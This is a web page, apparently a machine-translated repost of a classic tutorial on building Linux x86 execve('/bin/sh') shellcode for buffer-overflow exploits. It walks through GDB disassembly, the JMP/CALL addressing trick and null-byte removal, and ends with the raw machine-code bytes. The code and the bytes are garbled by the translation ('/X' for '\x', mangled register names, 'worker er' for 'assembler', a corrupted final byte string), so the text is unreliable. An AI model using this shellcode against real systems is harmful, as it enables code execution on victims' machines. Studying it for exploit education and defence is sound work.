Write shell code

Source: Internet
Author: User

Write shell code

The following is a shell C program shellcode. C: (this article takes Linux on intelx86 as an example)

Void main (){
Char * name [2];

Name [0] = "/bin/sh ";
Name [1] = NULL;
Execve (name [0], name, null );
}

Compile it as the Execution code, and then use GDB to analyze it. (Note that you must use the-static option during compilation. Otherwise, the execve code will not be put into the Execution Code, but will be linked as a dynamic link at runtime .)
------------------------------------------------------------------------------
[Aleph1] $ gcc-O shellcode-ggdb-static shellcode. c
[Aleph1] $ GDB shellcode
GDB is free software and you are welcome to distribute copies of it
Under certain conditions; Type "show copying" to see the conditions.
There is absolutely no warranty for GDB; Type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), copyright 1995 Free Software Foundation, Inc...
(GDB) disassemble main
Dump of worker er code for function main:
0x8000130 <main>: pushl % EBP
0x8000131 <main + 1>: movl % ESP, % EBP
0x8000133 <main + 3>: subl $0x8, % ESP
0x8000136 <main + 6>: movl $0x80027b8, 0xfffffff8 (% EBP)
0x800013d <main + 13>: movl $0x0, 0 xfffffffc (% EBP)
0x8000144 <main + 20>: pushl $0x0
0x8000146 <main + 22>: Leal 0xfffffff8 (% EBP), % eax
0x8000149 <main + 25>: pushl % eax
0x800014a <main + 26>: movl 0xfffffff8 (% EBP), % eax
0x800014d <main + 29>: pushl % eax
0x800014e <main + 30>: Call 0x80002bc <__execve>
0x8000153 <main + 35>: addl $ 0xc, % ESP
0x8000156 <main + 38>: movl % EBP, % ESP
0x8000158 <main + 40>: popl % EBP
0x8000159 <main + 41>: Ret
End of worker er dump.
(GDB) disassemble _ execve
Dump of worker er code for function _ execve:
0x80002bc <__execve>: pushl % EBP
0x80002bd <__execve + 1>: movl % ESP, % EBP
0x80002bf <__ execve + 3>: pushl % EBX
0x80002c0 <__ execve + 4>: movl $ 0xb, % eax
0x80002c5 <__execve + 9>: movl 0x8 (% EBP), % EBX
0x80002c8 <__execve + 12>: movl 0xc (% EBP), % ECx
0x80002cb <__execve + 15>: movl 0x10 (% EBP), % edX
0x80002ce <__execve + 18>: int $0x80
0x80002d0 <__ execve + 20>: movl % eax, % edX
0x80002d2 <__execve + 22>: testl % edX, % edX
0x80002d4 <__ execve + 24>: JNL 0x80002e6 <__ execve + 42>
0x80002d6 <__ execve + 26>: negl % edX
0x80002d8 <__ execve + 28>: pushl % edX
0x80002d9 <__ execve + 29>: Call 0x8001a34 <__ normal_errno_location>
0x80002de <__execve + 34>: popl % edX
0x80002df <__execve + 35>: movl % edX, (% eax)
0x80002e1 <__ execve + 37>: movl $0 xffffffff, % eax
0x80002e6 <__execve + 42>: popl % EBX
0x80002e7 <__execve + 43>: movl % EBP, % ESP
0x80002e9 <__ execve + 45>: popl % EBP
0x80002ea <__execve + 46>: Ret
0x80002eb <__execve + 47>: NOP
End of worker er dump.
------------------------------------------------------------------------------

Next we will first analyze the role of each statement in the main code:

0x8000130 <main>: pushl % EBP
0x8000131 <main + 1>: movl % ESP, % EBP
0x8000133 <main + 3>: subl $0x8, % ESP
As in the preceding example, this is also a function entry process. Save the previous stack frame pointer, update the stack frame pointer, and leave space for the local variable. Here, the local variable is:
Char * name [2];
That is, two character pointers. Each character pointer occupies 4 bytes, so a total of 8 bytes are reserved.

0x8000136 <main + 6>: movl $0x80027b8, 0xfffffff8 (% EBP)
Put the address of the string "/bin/sh" in the memory unit of name [0], which is equivalent:
Name [0] = "/bin/sh ";

0x800013d <main + 13>: movl $0x0, 0 xfffffffc (% EBP)
Put null into the memory unit of name [1], which is equivalent:
Name [1] = NULL;

Execve () is called starting from the following:
0x8000144 <main + 20>: pushl $0x0
Start pushing the parameter into the stack in reverse order. The first one is null.

0x8000146 <main + 22>: Leal 0xfffffff8 (% EBP), % eax
0x8000149 <main + 25>: pushl % eax
Press the starting address of name [] into the stack.

0x800014a <main + 26>: movl 0xfffffff8 (% EBP), % eax
0x800014d <main + 29>: pushl % eax
Press the address of the string "/bin/sh" into the stack.

0x800014e <main + 30>: Call 0x80002bc <__execve>
Call the execve (). Call Command to first press the EIP into the stack.

Bytes ------------------------------------------------------------------------------------

Now let's take a look at the execve () code. the first thing to note is that different operating systems and CPUs generate different system calling methods. some use soft interruptions, some use remote calls. from the perspective of parameter transfer, some use registers and some use stacks.
This example runs on intel X86-based Linux. therefore, we should first know that in Linux, system calls are generated in Soft Interrupt mode (INT 80 h), and parameters are transmitted to the system through registers.

0x80002bc <__execve>: pushl % EBP
0x80002bd <__execve + 1>: movl % ESP, % EBP
0x80002bf <__ execve + 3>: pushl % EBX
Same portal Processing

0x80002c0 <__ execve + 4>: movl $ 0xb, % eax
Assign 0xb (11) to eax, which is the index number of execve () in the system.

0x80002c5 <__execve + 9>: movl 0x8 (% EBP), % EBX
Assign the address of the string "/bin/sh" to EBX

0x80002c8 <__execve + 12>: movl 0xc (% EBP), % ECx
Assign the address of name [] to ECx

0x80002cb <__execve + 15>: movl 0x10 (% EBP), % edX
Assign the null address to edX

0x80002ce <__execve + 18>: int $0x80
Generates system calls and enters the core State for running.

Bytes ------------------------------------------------------------------------------------

After reading the above code, we can now streamline it into the following Assembly Language Program:

Leal string, string_addr
Movl $0x0, null_addr
Movl $ 0xb, % eax
Movl string_addr, % EBX
Leal string_addr, % ECx
Leal null_string, % edX
Int $0x80
(I do not know much about the Linux assembly language format, so these statements use the DOS assembly language format)
String DB "/bin/sh", 0
String_addr dd 0
Null_addr dd 0
Bytes -------------------------------------------------------------------------------------

However, there is still a problem in this code, that is, when we write shellcode, we do not know the position of this program in the memory during execution, so it is like:
Movl string_addr, % EBX
Commands that require absolute address encoding into the machine language cannot be used at all.

One way to solve this problem is to use an additional JMP and call command. because the two instruction codes use the offset address relative to the IP address rather than the absolute address, we can add a JMP Instruction at the beginning of shellcode and a call instruction before the string. as long as the length of the byte code is calculated, the JMP command can jump to the call command for execution, and the call command points to the next command of JMP, because when the call command is executed, the CPU will press the return address (here the string address) into the stack, so we can get the absolute string address at runtime. through this indirect addressing method, we can also easily access string_addr and null_addr.

------------------------------------------------------------------------------
After the above modification, our shellcode becomes as follows:

JMP 0x20
Popl ESI
Movb $0x0 0x7 (% Esi)
Movl % ESI, 0x8 (% Esi)
Movl $0x0, 0xc (% Esi)
Movl $ 0xb, % eax
Movl % ESI, % EBX
Leal 0x8 (% Esi), % ECx
Leal 0xc (% Esi), % edX
Int $0x80
Call-0x25
String DB "/bin/sh", 0
String_addr dd 0
Null_addr dd 0 #2 bytes, jump to call
#1 byte. The string address is displayed.
#4 Bytes: Convert string to string ending with '/0'
#7 bytes
#5 bytes
#2 bytes
#3 bytes
#3 bytes
#2 bytes
#5 bytes, jump to popl % ESI

Bytes ------------------------------------------------------------------------------------

We know that the C language string ends with '/0', and strcpy and other functions end with'/0. therefore, to ensure that our shellcode can be completely copied to the buffer, the shellcode must not contain '/0 '. next we will make the last improvement on it and remove '/0' from it ':

Original command: replace:
--------------------------------------------------------
Movb $0x0 0x7 (% Esi) xorl % eax, % eax
Movl $0x0, 0xc (% Esi) movb % eax, 0x7 (% Esi)
Movl % eax, 0xc (% Esi)
--------------------------------------------------------
Movl $ 0xb, % eax movb $ 0xb, % Al
--------------------------------------------------------

OK! Now we can test This shellcode. First, we encapsulate it as a C language.
------------------------------------------------------------------------------
Void main (){
_ ASM __("
JMP 0x18 #2 bytes
Popl % ESI #1 byte
Movl % ESI, 0x8 (% Esi) #3 bytes
Xorl % eax, % eax #2 bytes
Movb % eax, 0x7 (% Esi) #3 bytes
Movl % eax, 0xc (% Esi) #3 bytes
Movb $ 0xb, % Al #2 bytes
Movl % ESI, % EBX #2 bytes
Leal 0x8 (% Esi), % ECx #3 bytes
Leal 0xc (% Esi), % edX #3 bytes
Int $0x80 #2 bytes
Call-0x2d #5 bytes
. String/"/bin/sh/" #8 bytes
");
}
------------------------------------------------------------------------------

After compilation, use GDB to obtain the machine code of this assembly language:
/Xeb/X18/x5e/x89/x76/x08/x31/xc0/x88/X46/x07/x89/X46/x0c/xb0/x0b
/X89/xf3/x8d/x4e/x08/x8d/x56/x0c/XCD/X80/xe8/xec/xFF/bin/sh

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.